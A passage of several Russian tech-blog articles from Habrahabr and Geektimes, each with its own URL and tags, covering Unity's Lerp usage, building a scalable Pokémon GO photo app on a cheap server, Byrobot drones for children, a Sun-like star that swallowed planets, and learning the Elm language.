выбранных масштабов. Такое использование функции Lerp определенно имеет право на жизнь, но понятности оно не дает. Люди, услышавшие словосочетание «линейная интерполяция» часто предполагают другое поведение. Кроме того, есть много интересных фишек, позволяющих превратить интерполяцию из линейной в другую. Основаны они, обычно, на изменении параметра t . Фокус в том, что при использовании указанного примера все эти наработки вести себя будут совсем не так, как ожидалось. Я полагаю, разработчики Unity3D сами-то понимают функционирование подобного кода, но не объясняют таких нюансов, видимо не желая нагружать лишней (по их мнению) информацией. Привычно функция Lerp и подобные ей используется для получения ряда промежуточных значений (как правило от начального до конечного). В данном же коде она нужна для получения одной конкретной точки: при каждом вызове Update() она находит значение точки, делящей отрезок пути в заданном отношении. Еще звучал интересный вопрос, который я не совсем понял: коль скоро значение параметра интерполяции не меняется, зачем там вообще deltaTime? Ну, собственно, хорошая практика кодинга в Unity предполагает независимость от частоты кадров. Разумеется, при нестабильности частоты кадров разницу в поведении кода, что с умножением на Time.deltaTime , что без оного — на глаз не заметно. Но факт есть факт. Другой вопрос, который уже задал я сам себе: зачем тогда умножать на Time.deltaTime в методе FixedUpdate() ? Ведь разработчики уверяют, что время, проходящее между вызовами этого метода строго фиксировано (почти… см. ниже). Однако, в туториалах код, подобный вышеупомянутому, попадается и в методе FixedUpdate() (например, тут ). Тут возможно несколько вариантов: возможно, ведущие этой обучалки, привыкшие к данному шаблону, попросту вбили его не задумываясь. Либо же гарантировали идентичность результатов выполнения кода на случай, если по какой-либо причине частота обновления физики (вызовов FixedUpdate() ) будет изменена. А может просто решили не добавлять «магических констант», а заодно обеспечить определенную совместимость (и переносимость) кода между методами Update() и FixedUpdate(), поскольку в противном случае пришлось бы иметь отдельные smoothing для первого и для второго метода. Вообще, с этими временами обновления тоже не все гладко. Для FixedUpdate() заведена своя переменная fixedDeltaTime , которая, судя по названию, должна давать время между его вызовами… Но нет же, сами же разработчики рекомендуют и в FixedUpdate() и в Update() использовать deltaTime, поскольку частота вызовов FixedUpdate() фиксированная-фиксированная, да не очень. Так или иначе, итог. Функция Lerp — действительно функция линейной интерполяции. Однако, популярный шаблон ее использование вовсе не линейно интерполирует перемещение и вращение объекта. Код отличается определенной краткостью, хотя и вызывает затруднения при попытках применения наработанных методик изменения поведения линейной интерполяции. При этом, действие этого кода, насколько мне известно, нигде в обучалках не объясняется, оставляя многих в заблуждении относительно того, как он работает. Вообще, я предпочитаю функцию SmoothDamp , которая, хоть и требует хранения дополнительной переменной, ведет себя более предсказуемо (позволяя, например, задать примерное время «прибытия» объекта на заданное место). Всем спасибо за внимание.
https://habrahabr.ru/post/318046/
habrahabr
История моего стартапа: 500000 пользователей за 5 дней на стодолларовом сервере
['стартап', 'разработка', 'Pokémon GO', 'Node.js', 'JavaScript']
Похоже, все в мире стартапов согласны с тем, что первые версии приложений должны представлять собой минимально жизнеспособный продукт (MVP, Minimal Viable Product), создавая который можно не особо...
Похоже, все в мире стартапов согласны с тем, что первые версии приложений должны представлять собой минимально жизнеспособный продукт (MVP, Minimal Viable Product), создавая который можно не особо заботиться о его масштабировании с технической точки зрения. Мне много раз доводилось слышать о том, что самое главное в подобных делах – поскорее выпустить нечто работающее. И, до тех пор, пока бизнес-модель нормально функционирует в условиях роста клиентской базы – всё нормально. А тратить время и деньги на то, чтобы сделать систему, которая сможет выдержать внезапный наплыв пользователей, не стоит. Беспокоиться нужно лишь о проверке предположений, об оценке рынка и о раскрутке бизнеса. Масштабируемость – это то, что можно отложить на потом. К несчастью, такая вот слепая вера в шаблонные идеи уже не раз приводила к оглушительным провалам. Pokémon GO, и, в частности, связанные с этим проектом приложения, служат напоминанием об этом. Джонатан Зарра, разработчик GoChat, уж точно не совершит подобной ошибки снова. Он набрал миллион пользователей за 5 дней , создав приложение-чат для фанатов Pokémon GO. Из упомянутого выше материала можно узнать о том, что он общался с инвесторами на предмет монетизации и расширения приложения. Сразу после этого GoChat рухнул. Было потеряно множество пользователей и потрачены серьёзные средства. Идея-то ведь гениальная, а в результате – настоящее безобразие. Да, кстати, я, через несколько дней после написания, слегка отредактировал первоначальный вариант этой статьи, так как GoChat всё ещё жив в Google Play, и имеет уже более двух миллионов пользователей. Ожидается, что и его iOS версия скоро снова восстановится. Зарре пришлось нелегко: ему нужно было оплачивать сервера, необходимые для поддержки миллиона активных пользователей. Он и не думал, что ему удастся привлечь такую аудиторию. Приложение он создал в лучших традициях MVP, отложив заботу о масштабировании на потом. В общем-то, можно сказать, что он изначально обрёк свой проект на провал. Когда проблемы архитектуры приложения проявились во всей красе, Зарра нанял программиста на Upwork для исправления множества проблем с производительностью. Тот заявил, что расходы на сервера находятся в районе $4000. На дворе – 2016-й, поэтому можно с уверенность предположить, что речь идёт не о покупке «железных» серверов. Эти $4000 – стоимость годовой или месячной аренды виртуальных серверов и плата за трафик. Практически всю свою профессиональную жизнь я проектировал и создавал веб-платформы для сотен миллионов активных пользователей. И я могу сказать, что $4000 на сервера – это слишком много для миллиона чатеров. Даже для MVP. Это говорит о том, что серверная часть приложения плохо спроектирована. На самом деле, не так-то просто создать экономичную, и при этом масштабируемую систему для миллионов ежемесячных активных пользователей. Но это и не за пределами человеческих возможностей – использовать такую комбинацию ПО, которая позволит поддерживать серьёзную аудиторию на недорогих облачных серверах. Это стоит принимать во внимание, подбирая подходящие компоненты при создании MVP. GoSnaps: 500000 пользователей за 5 дней на сервере за $100 в месяц GoChat позволил игрокам в Pokémon GO общаться в чате, в официальном приложении они этого делать не могут. Я создал проект, GoSnaps , так же нацеленный на фанатов Pokémon GO. Это – мобильное приложение, которое позволяет пользователям делиться скриншотами и картинками с привязкой к карте. Это что-то вроде Instagram или Shapchat для Pokémon GO. В первый день GoSnaps набрал 60000 пользователей. Во второй – их было уже 160 тысяч, на пятый день (момент написания этого материала) их оказалось уже полмиллиона. К этому моменту пользователи загрузили в систему порядка 200 тысяч картинок. В любой момент приложением одновременно пользуется порядка 1000 человек. Я создал подсистему распознавания изображений для автоматической проверки того, имеет ли загружаемое изображение какое-то отношение к Pokémon GO, а также – средства для изменения размера загружаемых картинок. Всё это работает на одном вполне обычном сервере из Google Cloud, аренда которого стоит $100 в месяц. Сюда добавляется недорогое хранилище Google Cloud Storage, в котором размещаются изображения. Речь идёт о сотне долларов в месяц, а не о тысячах. При этом всё отлично работает. Сравнение GoChat и GoSnaps Сравним GoChat и GoSnaps. Оба приложения, вероятно, выполняют множество запросов в секунду для того, чтобы показывать чаты или изображения в определённой области карты. Это – геопространственный поиск в базе данных (или в поисковой системе), выполняемый либо в пределах некоего многоугольника на карте, либо – проводимый для некоей точки, задаваемой широтой и долготой. Мы используем многоугольник, запросы выполняются каждый раз, когда пользователь перемещает карту. Подобные запросы создают серьёзную нагрузку на БД, особенно в комбинации с сортировкой или фильтрацией данных. GoSnaps приходится обрабатывать подобные поисковые запросы сотни раз в секунду. Вероятно, то же самое происходит и в недрах GoChat. Особенность GoChat заключается в том, что приложению ежесекундно приходится вытаскивать из базы и рассылать пользователям множество сообщений чата. В материале про GoChat говорится о примерно 600 запросах в секунду для приложения в целом. Эти 600 запросов представляют собой комбинацию запросов, касающихся карты и сообщений чата. Сообщения имеют небольшой размер, работу с ними можно (или даже нужно) организовать через простые сокеты. Но сообщения появляются часто и их нужно распределять между множеством пользователей, находящихся в чате. С такой ситуацией вполне можно справиться, если программная часть решения организована правильно. Если же мы имеем дело с плохо спроектированным MVP-приложением, поддержка чата может оказаться непосильной задачей. С другой стороны, в GoSnaps имеется множество изображений, которые каждую секунду загружают из хранилища и лайкают. Изображения сохраняются на сервере, так как даже старые картинки не теряют актуальности. В то же время, устаревшие чаты из GoChat уже никому не нужны. Так как файлы изображений хранятся в Google Cloud Storage, количество запрошенных файлов изображений меня, как разработчика, не беспокоит. Всем этим занимается Google Cloud, а в возможностях Google я уверен. Но запрошенные изображения с привязкой к карте – это уже то, что меня очень даже беспокоит. В GoSnaps есть подсистема распознавания изображений, которая ищет шаблоны на загруженных пользователями картинках для того, чтобы проверить, имеют ли эти картинки отношение к Pokémon GO или нет. Кроме того, эта подсистема занимается изменением размера изображений и отправкой их в Cloud Storage. Всё это – ресурсоёмкие, в плане нагрузки на CPU и потребляемого трафика, операции. Эти действия гораздо тяжелее, чем распределение некоего количества небольших сообщений чата, но выполняются они реже. Вышесказанное позволяет мне сделать вывод о том, что оба приложения очень похожи в плане сложности масштабирования. GoChat обрабатывает больше маленьких сообщений, в то время как GoSnaps работает с более крупными изображениями и выполняет более ресурсоёмкие серверные операции. Проектирование и архитектура этих двух приложений требуют, при почти одинаковой сложности, немного разного подхода. Как создать масштабируемый MVP за 24 часа GoSnaps создан как MVP, а не как профессиональный бизнес-продукт. Он был полностью готов за 24 часа. Я взял Node.js-шаблон для хакатонов и использовал базу данных MongoDB без каких-либо форм кэширования. Больше ничего в проекте не применяется: ни Redis, ни Varnish, ни замысловатые схемы Nginx. Приложение для iOS было написано на Objective-C, кое-какой код для работы с картами Apple Maps был взят из нашего основного приложения Unboxd . Как же мне удалось сделать GoSnaps масштабируемым? На самом деле – только потому, что я не ленился, следуя вредным канонам MVP. Скажем, я рассматривал бы создание MVP исключительно как гонку на время, цель которой – как можно более быстрый выпуск работающего приложения, и при этом не обращал бы внимание на качество серверной части. Где, в таком случае, хранить изображения? Конечно, в базе данных, в MongoDB. Это не потребует дополнительных настроек, да и кода надо – всего ничего. Очень просто. В духе MVP. Как запрашивать из базы данных изображения из некоторой области на карте, у которых больше всего лайков? Достаточно выполнить обычный запрос к MongoDB, охватывающий весь объем хранящихся там картинок. Один запрос к одному набору данных в базе. Снова – MVP. Всё это уничтожило бы моё приложение и сделало бы невозможным пользоваться его функциями. Взглянем на запрос, который мне пришлось бы выполнить для того, чтобы вытащить из базы вышеупомянутые изображения. Выглядел бы он примерно так: «найти все картинки, относящиеся к области на карте [A, B, C, D], исключая те, которые помечены как недопустимые, и те, которые всё ещё обрабатываются, отсортированные по количеству лайков, по тому, имеют ли они отношение к Pokémon GO, и отсортированные по новизне». На маленьком наборе данных такой запрос сработает отлично. Но если речь идёт о серьёзной нагрузке, подобные обращения к базе данных повалят всю систему. Это случится даже в том случае, если упростить вышеописанный запрос так, чтобы он включал в себя всего три условия и операции сортировки. Почему? Потому что такой подход – это не то, на что рассчитана база данных. Обращения к базе должны выполняться с использованием только одного индекса за раз, что невозможно в случае с геопространственными запросами. Если у приложения мало пользователей, подобная конструкция окажется вполне работоспособной. Но если приложение вдруг станет успешным, это его убьёт. Как, собственно, случилось с GoChat. Что я сделал вместо этого? После выполнения ресурсоёмких операций по анализу изображений и изменению их размера, обработанные изображения загружаются в Google Cloud Storage. Благодаря этому мой сервер и база данных не испытывают нагрузки, связанной с выдачей пользователям изображений. Базе данных следует заботиться о данных, а не о картинках. Это, само по себе, позволяет серьёзно сэкономить на серверах. С точки зрения организации базы данных, я разделил изображения на несколько наборов. Это – все изображения, наиболее лайкаемые, самые новые, самые новые подходящие под тематику Pokémon GO, и так далее. Когда пользователи добавляют новые изображения, лайкают их, помечают как недопустимые, код проверяет принадлежность изображений к одной из групп и действует соответствующим образом. При таком подходе запросы выполняются к подготовленным наборам данных, вместо того, чтобы выполнять сложные обращения к одной огромной куче неструктурированных записей. Это – результат логического разбиения данных на несколько простых блоков. Ничего сложного. Но это позволило мне выполнять запросы только по геопространственным координатам с одной операцией сортировки, вместо сложного запроса, описанного выше. Проще говоря, такой подход максимально упрощает операции выборки данных. Сколько времени я на все эти улучшения потратил? Часа 2-3, не больше. Почему я это сделал в первую очередь? Потому что я привык работать подобным образом. Я исхожу из того, что моё приложение ждёт успех. Я спать бы не смог, если моя разработка обрела бы популярность, а затем свалилась бы под нагрузкой только потому, что она плохо спроектирована. Я встроил в приложение минимально жизнеспособные принципы масштабирования. Это – разница между счастьем от успеха и безнадёгой. Это то, что, по моему мнению, следовало бы сделать частью идеологии MVP-приложений. Выбор правильных средств для реализации MVP Если бы я создал GoSnaps с использованием более медленной среды исполнения кода, или на основе неповоротливого фреймворка, мне понадобилось бы больше серверов. Если бы я использовал что-то вроде PHP с Symfony, или Python с Django, или Ruby on Rails, я либо целыми днями занимался бы ускорением медленных компонентов, либо только и знал бы, что добавлять сервера. Можете поверить: мне уже пришлось через это пройти. Эти языки и фреймворки отлично подходят для множества сценариев, но не для MVP с маленьким серверным бюджетом. Это так преимущественно из-за множества уровней кода, которые обычно используются для работы с данными из баз в программах и неоправданно раздутых функций фреймворков. Всё это слишком сильно нагружает сервера. Позвольте привести пример, показывающий, насколько много это, на самом деле, значит. Как я уже сказал, серверная часть GoSnaps основана на Node.js. Эта платформа, в целом, быстра и эффективна. Я использовал Mongoose как ORM для того, чтобы упростить программную работу с MongoDB. Я никак не отношу себя к экспертам Mongoose, и я знаю, что эта библиотека обладает огромной кодовой базой. Таким образом над Mongoose я мысленно поставил большой вопросительный знак. Но да, мы же говорим об MVP. Однажды, совсем недавно, 4 процесса Node.js на нашем сервере потребляли примерно по 90% ресурсов CPU каждый, что для меня, с примерно тысячей одновременно работающих пользователей, неприемлемо. Я понял, что дело, скорее всего в том, что Mongoose что-то делает с полученными данными. Очевидно, мне просто нужно было включить функцию Mongoose lean() для того, чтобы вместо хитроумных объектов Mongoose получать обычные JSON-объекты. После этого изменения процессы Node.js стали нагружать сервер примерно на 5 – 10%. Простые решения, основанные на знании того, что, на самом деле делает код, очень важны. В моём случае это уменьшило нагрузку на 90%. А теперь представьте, что у нас – по-настоящему тяжёлая библиотека, вроде Symphony с Doctrine. Такой махине понадобилась бы пара многопроцессорных серверов только для того, чтобы работал её собственный код, даже учитывая то, что предполагается, что узким местом системы является база данных, а не программные механизмы. Выбор экономичной и быстрой среды исполнения кода важен для масштабируемости, если только оплата серверов – для вашего проекта не проблема. Выбор языка программирования со множеством полезных доступных библиотек ещё более важен, так как MVP обычно нужно создать как можно быстрее. Node.js, Scala и Go – это среды и языки, которые удовлетворяют обоим условиям. У них есть и высокая производительность, и множество библиотек. Сами по себе языки вроде PHP или Java не обязательно медленны, но они обычно используются вместе с большими фреймворками и библиотеками, которые утяжеляют приложения. Эти языки хороши для чистой объектно-ориентированной разработки и отлично протестированного кода, но не для создания приложений, которые можно быстро и дёшево масштабировать. Не хочу затевать тут священную войну, поэтому просто позвольте мне сказать, что всё это – моё субъективное мнение, не подкреплённое глубоким и полным анализом всех деталей. Я, например, люблю Erlang, но никогда бы не использовал его для MVP-приложения, поэтому любые споры по данному вопросу считаю бессмысленными. Мой предыдущий стартап Cloud Games Несколько лет назад я стал одним из основателей проекта Cloud Games – платформы для издания HTML5-игр. Когда всё началось, мы были игровым B2C-сайтом, нацеленным на регион MENA. Мы приложили большие усилия по привлечению аудитории, и достигли, через несколько месяцев, миллиона ежемесячных активных пользователей (MAU, Monthly Active Users). В то время я использовал PHP, Symphony2, Doctrine и MongoDB в очень простой и экономичной конфигурации. Я работал в Spil Games с 200 миллионами MAU, там в то время использовали PHP и затем перешли на Erlang. После того, как Cloud Games достигла примерно 100000 MAU, мы столкнулись с перегрузкой серверов. Причина заключалась в Doctrine и MongoDB. Я правильно настроил MongoDB, индексы и запросы, но серверы едва справлялись с обработкой кода. Я использовал APC-кэш PHP и так далее, но без особых успехов. Так как cloudgames.com был достаточно статичным сайтом, я смог перевести этот MVP-проект на Node.js с Redis буквально за несколько дней. Получилась похожая функциональность, но в другой среде. Это привело к мгновенному падению нагрузки на сервера примерно на 95%. Признаю, дело тут в том, что удалось избавиться от тяжёлых PHP-библиотек, а не в выборе среды исполнения приложений или языка. Но минимальная рабочая конфигурация Node.js гораздо более функциональна, нежели минимальная PHP-конфигурация. Особенно с учётом того, что и MongoDB, и интерфейсная часть проекта – это на 100% JavaScript, как и Node.js. PHP же, без фреймворков и библиотек, это просто один из множества языков программирования. Нам нужна была такая вот легковесная конфигурация, так как мы были самостоятельно финансируемым стартапом на ранней стадии развития. Сегодня Cloud Games показывает хорошие результаты. Проект всё ещё основан на Node.js. Мы могли бы и не преуспеть, если бы использовали технологии, требующие больших вложений, учитывая тот факт, что в жизни Cloud Games, как стартапа, были нелёгкие времена. Проектирование экономичной масштабируемой архитектуры стало одним из основных условий успеха. Итоги: MVP и масштабируемость могут сосуществовать Если у вашего приложения есть шанс экспоненциального роста из-за взрывного интереса к нему или возможного освещения в СМИ, не забудьте рассмотреть масштабируемость как часть MVP-стратегии. Принципы минимального жизнеспособного продукта и масштабируемости могут сосуществовать. Нет ничего печальнее, чем создать успешное приложение и присутствовать при его провале, вызванном техническими проблемами. И у самого Pokémon GO было немало проблем, но проект это настолько уникальный и распиаренный, что это особого значения не имело. Маленькие стартапы не могут позволить себе такой роскоши. Выбор времени – это всё . Миллион пользователей GoChat и полмиллиона пользователей GoSnaps, вероятно, согласятся со мной.
https://habrahabr.ru/company/ruvds/blog/318048/
habrahabr
Byrobot Petrone: лучшие (imho) дроны для обучения детишек. И для драк
['Подарок', 'квадрокоптер', 'Byrobot', 'обучение детей']
Ровно 2 года назад мне впервые попал в руки миникоптер Byrobot. Та статья, кстати, заДДоСила корейский сайт производителей. С тех пор появилась и новая инкарнация боевого дрона и существенно...
Ровно 2 года назад мне впервые попал в руки миникоптер Byrobot. Та статья, кстати, заДДоСила корейский сайт производителей. С тех пор появилась и новая инкарнация боевого дрона и существенно проапгрейдился старый образец. Основная фишка Byrobot, которая офигенно выделяет этот коптер среди множества остальных брэндов — то, что он «социален» и заточен на взаимодействие людей. Он даже продается парами. Ничто не сближает людей, как драка. Новая генетически-модифицированная версия Byrobot — Petrone. Это смесь Дарта Вейдера, Оптимуса Прайма и собачки без ножек . Перед тем как покупать своему падавану DJI Inspire 2 за 300 тысяч рублей, стоит потренироваться на Byrobot. В сети есть несколько подробнейших обзоров ( раз , два ), не хочется повторяться, я лишь коротко пройдусь по видеодемонстрациям, которых нет в существующих обзорах. Дрон размером с ладошку за 6000 руб (в роли пульта выступает смартфон), с удобным и понятным управлением, с хорошими летными характеристиками и вшитой геймификацией. Много продуманных мелочей — от «оптовой» зарядки батарей до пуленепробиваемого (котонепрокусываемого, встенуврезательного) корпуса. Pattern Flying Проще некуда — рисуем фигуру на виртуальном планшетике — дрон исполняет ее в реальности. Follow Me Режим верного пса — следуй за мной или беги впереди меня. Особенность — камера смартфона должна быть не загорожена, видать дрон берет из нее данные. FVP — вид «из глаз» Самый сложный вариант управления — видеть мир глазами дрона. Но уже самое время тренироваться на мелких дронах, прежде чем пересесть за штурвал/седло Хеннелоры . Махач Морфеус дерется с Нео. Соревнования Причина, по которой я влюбился в эту модельку квадрокоптеров — она идеальна для обучения и соревнований для школьников. Доступная цена, «неубиваемость», цвето-шумо-звуковые эффекты, турнирные режимы — очень привлекательны для пацанов и девчонок. Корейцы захотели пролезть в Книгу рекордов Гиннеса и собрали флэшмоб. Неведомая фигня на колесиках Совершенно не знаю зачем, но корейцы сделали так, что квадрокоптер может быстренько трансформироваться в что-то странное. Трансформация квадрокоптера в неведомую фигню Трансформация неведомой фигни в квадрокоптер ВДНХ Кстати, российские представители Byrobot часто на выставках устраивают обучалки и даже соревновалки. Вот результаты: Byrobot очень качественно сделаны, гибкий и упругий противоударный пластик, защита на пропеллеры, продуманные варианты гашения импульса. Но при промышленном использовании (за день обучили около 600 детей) поломки неизбежны. Но живучесть Byrobot в десятки раз превосходит все остальные модели. Статистика поломок: 70% — трещины в текстолите на луче; 10% — плавится чип на плате из-за перегрева; 10% — проблемы с питанием; 10% — остальное. А вот видос с ВДНХ: Там было весело. Вот еще несколько фоток. Фоторепортаж с ВДНХ Оптовая зарядка батарей отлично выручает. Отличная фича. Заключение Если у вас (или у вашего дитя) еще нет дрона, то первая модель — это Byrobot. Тем более, что очень скоро есть хороший повод для подарка. Если вы препод курсов по робототехнике или вожатый в лагере — эти дроны помогут вам овладеть неокрепшими доверчивыми умами детворы и приучить к прекрасному. Пару-четверку дронов можно прикупить в офис и устроить корпоративный баттл с лидербордами и рейтингом, благо что софт хорошо под это заточен. Один из самых высокотехнологичных образцов — вид от первого лица, крутое управление с планшета в реальном времени и по алгоритму, шпионская видеосъемка, в общем, круче только DJI.
https://geektimes.ru/company/makeitlab/blog/280568/
habrahabr
Астрономы обнаружили звезду, поглотившую часть своих планет
['космос', 'вселенная', 'планеты', 'звезды']
Солнечная система относительно стабильна. Все планеты находятся на своих местах, Солнце светит в меру ярко, обеспечивая существование жизни на Земле (а возможно, и других планетах или...
Солнечная система относительно стабильна. Все планеты находятся на своих местах, Солнце светит в меру ярко, обеспечивая существование жизни на Земле (а возможно, и других планетах или планетоидах). Нам, обитателям системы, можно сказать повезло со своим светилом. Но такая ситуация наблюдается не везде. Недавно астрономы обнаружили звезду , очень похожую на Солнце. Каталожное обозначение «двойника» нашего светила — HIP68468. Этой звезде 5,9 миллиарда лет, а расположена она в 300 световых годах от Солнечной системы. Ученые прозвали ее «звездой смерти», все потому, что она поглотила одну или две своих планеты. Поскольку звезда — почти точная копия Солнца, то возникает вопрос — а не грозит ли Солнечной системе нечто подобное? Звезда была обнаружена при помощи 3,6-метрового телескопа в Чили, обсерватория La Silla. После анализа ее спектра оказалось, что звезда содержит в четыре раза больше лития, чем должна. Звезды такого типа и такого возраста характеризуются гораздо меньшим содержанием этого металла. Большинство спектров звезд показывает минимальное содержание лития. А вот планеты, сформированные из скальных пород, наподобие Земли, обычно выделяются тем, что содержат довольно много этого элемента. Кроме лития, в составе HIP68468 астрономы обнаружили большое количество других элементов, которые не характерны для солнцеподобных звезд. Астрономы начали интересоваться, почему же HIP68468 содержит так много лития, и попытались найти объяснение. Ответила на него Дебра Фишер, астроном из Йельского университета. «Это, как если бы мы увидели кота, сидящего в птичьей клетке. Если во рту кота есть желтые перья, то существует большая вероятность того, что кот съел канарейку». Этой фразой Фишер хотела сказать, что наличие высокой концентрации лития в звезде — настолько же явный признак поглощения звездой скальной планеты, насколько перья во рту кота могут служить явным признаком съеденной птички. Проведенные расчеты помогли выяснить, что избыток названных элементов мог образоваться в звезде после поглощения ею планеты или планет общей массой примерно в шесть раз больше массы Земли. Кстати, звезду HIP68468 обнаружили не случайно, а в результате ведения работ в рамках проекта по поиску близнецов солнца. Ученым за несколько лет удалось найти уже более 60 таких близнецов. Зачем специалистам охотиться за двойниками нашей звезды? Дело в том, что информацию о формировании Солнечной системы ученые почерпнули на основе наблюдений за объектами в этой системе. Цель же проекта — подтвердить или опровергнуть правоту ученых в результате поиска двойников Солнца и анализа существующих в таких системах планет. Результатом проекта должно быть построение реалистичной модели образования самой Солнечной системы. Но если мы видим, что другое Солнце поедает свои планеты — нужно ли нам опасаться того же? Ученые говорят, что нет. «Это вовсе не значит, что Солнце вскоре съест землю», — говорит Джекоб Бин, соавтор исследования. Он работает помощником преподавателя астрономии и астрофизики в Чикагском университете. «Наше открытие показывает нам, что жестокие истории могут быть нормальными для планетных систем, включая нашу собственную», заявил Бин. Пока что ученые не могут сказать точно, что именно послужило причиной поглощения планет своим светилом. Вполне может быть, что в системе звезды HIP68468 появилась некая сила, которая и толкнула планету (или планеты) навстречу своей погибели. Может быть, причина — нарушенная в результате воздействия какого-либо фактора орбита «съеденной планеты». Ученые предполагают, что Солнце поглотит Меркурий и Венеру в ходе своей эволюции, превращения в красного гиганта. Но это случится не ранее, чем через 5 млрд лет. Земля, по всей вероятности, будет находиться вне зоны «поедания», но вероятность того, что увеличивающийся в размерах красный гигант съест и нашу планету, действительно существует. Если даже и так, то это случится не ранее, чем через 7,6 миллиардов лет. Конечно, человеку беспокоиться нечего, уж очень нескоро все это произойдет. Все живое на Земле, впрочем, погибнет гораздо раньше. Через 1,5 млрд лет радиация убьет жизнь на нашей планете, сделав ее полностью необитаемой. Так что, когда и если наша планета войдет в горнило красного гиганта, в которого, в далеком будущем, превратится наше Солнце, то на тот момент она уже будет полностью стерильна. Что касается HIP68468, то вокруг этой звезды вращается минимум две планеты, размер которых в несколько раз превышает размеры Земли. Одна из них находится очень близко к светилу. Так, радиус орбиты экзопланеты HIP68468 b составляет около 0,02 от расстояния между Солнцем и Землей. Астрономы выяснили, что эти планеты не могли образоваться на текущих орбитах. Вероятнее всего, они прибыли из более далеких от звезды областей системы. Может быть, этот процесс сопровождался сложнейшим гравитационным взаимодействием планет с дестабилизацией их обычного движения. В результате часть планет могла либо уйти за пределы системы звезды, либо упасть на свою звезду.
https://geektimes.ru/post/283850/
habrahabr
Как я писал приложение на Elm
['javascript', 'функциональное программирование', 'elm']
Если вы совсем не знакомы с Elm, то, если вкратце, это функциональный язык программирования и платформа для написания web-приложений. Код, написанный на Elm, компилируется в JavaScript и...
Если вы совсем не знакомы с Elm, то, если вкратце, это функциональный язык программирования и платформа для написания web-приложений. Код, написанный на Elm, компилируется в JavaScript и встраивается на страницу. Более подробно про основы можно почитать например здесь на Хабре или же просто на официальном сайте . Я же хотел суммировать свой опыт, который получил, написав своё первое приложение, поэтому в статье будет большое число очевидных вещей, чуть-чуть неочевидных и много ссылок. Своё приложение я решил сделать после написания нескольких простеньких программ и прохождения туториала Elm Tutorial . Во время прочтения примеров из туториала и написаниях примеров было довольно сложно осознать все концепции сразу, поэтому я старался не останавливаться на сложных на тот момент мне местах (роутинг, композиция) и стремился получить готовый работающий сайт. После этого я стал писать своё приложение, которое состоит из формы, где можно задать название события, опционально урл и дату, когда событие произойдёт. После сохранения все эти данные показываются в виде небольшой карточки с обратным отсчётом до события. Код и ссылку на github pages можно найти здесь . Язык, документация и источники информации Очевидная вещь, хоть Elm и предназначен для фронтенда — это полностью другой язык по сравнению с JavaScript. Поэтому надо учить синтаксис, разбираться в концепциях. На официальном сайте есть небольшая дока по синтаксису , есть таблица сравнения с JavaScript. Полезно в самом начале почитать официальное руководство и попробовать запустить примеры оттуда. Есть еженедельная рассылка , где можно найти множество интересных статей, видео, примеров. Поскольку до этого у меня практически не было опыта в использовании чистых функциональных языков программирования — мне было интересно и полезно читать материалы, которые объясняют общие концепции. Из таких материалов могу посоветовать серию из 6 статей So You Want to be a Functional Programmer , где подробно раскрываются основные концепции и книгу Mostly Adequate Guide (есть частичный перевод на русский). Во время решения своей задачи мне очень помог пройденный туториал, пример из которого был под рукой. Он очень полезен, потому что там покрывается очень много аспектов создания сайта: от основ языка до сборки, арихтектуры, роутинга, взаимодействия с апи. Например, роутер оттуда я изначально перенёс в свою задачу практически без изменений. Потом уже, решая возникащие по ходу проблемы, разбирался как производится парсинг, как работают матчеры и так далее. Плюс этот туториал постоянно обновляет все примеры до последних версий языка (на текущий момент это 0.18). С туториалами и примерами кода в интернете зачастую связана одна интересная особенность. В коде импортируются библиотеки, которые используют так называемый open import . То есть встречается использование функции s , а не UrlParser.s . Это несколько усложняет чтение чужого кода. Всегда смотрите как, что и под каким именем импортируется в модуле. В свою очередь я сам стараюсь использовать qualified import и это официальная рекомендация . Больше букв, но всегда сразу понятно какой используется тип или функция. Советую обязательно подключить к вашему редактору Elm Format , который форматирует код согласно официальным гайдам. Elm Format кажется используется всеми и общий для всех синтаксис это действительно удобно. Архитектура приложения Важно изучить архитектуру, которая считается стандартом написания приложения: TEA (The Elm Architecture). Подробней можно прочитать в официальном руководстве . Если вы знакомы с Redux'ом то это не составит труда, а если нет, то в любом случае изучение этой концепции не кажется мне чем-то сложным. Есть три основые части: модель (хранит состояние приложения), апдейт (обработчик изменений, который модифицирует модель) и вид (внешний вид нашего приложения, отрендеренный в соответствии с состоянием модели). Соответственно наше минимальное приложение инициализируется с этими тремя частями. В более сложных случаях к ним могут добавляться подписки, функция апдейта при изменения урла, флаги из javascript и возможно что-то ещё. Но база остаётся одной всегда. Компилятор и отладка Компилятор действительно работает отлично, ошибки показываются максимально информативные и всегда можно быть уверенным, что на выходе будет рабочая программа. Это, однако, не застраховывает от необходимости внимательно следить за кодом и смотреть, что и как работает. Я хочу сказать, что поначалу компилятор вызывает восторг и кажется, что это какая-то магия. Но когда начинаешь писать реальный код, то легко вернуть из функции неправильное значение правильного типа, что компилятор пропустит. Код можно отлаживать используя модуль Debug. Хотя даже такое привычное для JavaScript действие выполняется не просто. Debug.log это функция, которая принимает строку (просто текст перед выводом) и значение и возвращает это значение, производя при этом сайд-эффект вывода в консоль. Debug.log нельзя использовать в любом месте программы и в любой части функции. То есть её можно поставить только в том месте, где уже есть какое-то значение. В Elm 0.18 появился дебаггер, позволяющий отслеживать состояние приложения, возвращаться во времени назад и даже экспортировать состояние с историей для открытия в другом браузере. Я писал своё приложение на версии 0.17 и пока лично дебаггером не воспользовался. Модули, масштабирование и рефакторинг Самой большой и неразрешённой до конца для меня трудностью стало деление кода на модули. Большинство кода примеров лежит в одном файле. Официальный туториал в секции Scaling The Elm Architecture рассказывает лишь о делении на функции, базовое понятие модулей. Есть секция в туториале, есть другие примеры в интернете, но применить всё это с первого захода для своего проекта мне не удалось, так как были сложности с вставкой в модульную структуру стороннего компонента elm-datepicker , который я использую. На текущий момент я сделал разделение, которое пока что меня устраивает: основной код с апдейтами и функциями в главном файле, отдельно вынесены все типы и разметка страниц. Зато в процессе глобального рефакторинга своего приложения я обнаружил неожиданную вещь, о которой до этого много читал, но не осозновал. Рефакторинг делать абсолютно не страшно, а даже интересно. Вся система с типами, неизменяемыми данными, чистыми функциями и контролирующим это компилятором не даёт сломать код . Можно сколько угодно менять названия всего, менять структуру, создавать и удалять файлы и быть спокойным, что после успешной компиляции на выходе будет работающее приложение. Выводы Мне было интересно попробовать что-то сильно отличное от стандартной схемы программирования в JavaScript. Это было временами непросто, потому что функциональное программирование ломает мозг и для меня, как человека, который по большей части писал только на JavaScript — порог вхождения очень высок. Простые вещи, которые в Elm делаются совсем не просто — вроде получения даты, http-запроса, вызывают поначалу недоумение и боль. С постепенным овладеванием концепциями и инструментами становится и проще и интереснее. Каким бы ни было будущее Elm'а, я думаю, что инвестиции своего времени в его изучение оправданы. Кажется, что идеи 